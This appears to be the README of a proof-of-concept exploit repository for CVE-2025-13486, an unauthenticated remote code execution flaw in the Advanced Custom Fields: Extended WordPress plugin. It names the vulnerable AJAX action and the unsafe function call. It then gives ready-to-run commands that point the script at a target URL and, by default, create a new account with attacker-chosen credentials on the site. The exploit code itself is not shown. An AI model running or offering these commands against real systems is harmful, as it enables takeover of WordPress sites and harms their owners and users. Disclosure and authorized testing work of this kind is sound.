0xanis/cve-2025-13486-pocPOC for CVE-2025-13486
A Proof of Concept (PoC) exploit for CVE-2025-13486, a Remote Code Execution vulnerability in the Advanced Custom Fields: Extended (ACFE) WordPress plugin.
This vulnerability exists in ACFE versions 0.9.0.5 through 0.9.1.1, allowing unauthenticated attackers to execute arbitrary PHP functions via the acfe/form/render_form_ajax AJAX action. The plugin uses call_user_func_array() with user-supplied input without proper validation.
print_r (non-destructive)pip install requests
python poc.py -u http://target-site.com --verify
# With random credentials (displayed after execution)
python poc.py -u http://target-site.com
# With custom credentials
python poc.py -u http://target-site.com --user admin123 --password P@ssw0rd! --email [email protected]
-u, --url Target WordPress URL (required)
--verify Only verify vulnerability (safer, uses print_r)
--user Username to create (default: random)
--password Password to set (default: random)
--email Email address to set (default: random)
This PoC is provided for educational and authorized security testing purposes only. Unauthorized access to computer systems is illegal. Always obtain proper authorization before testing.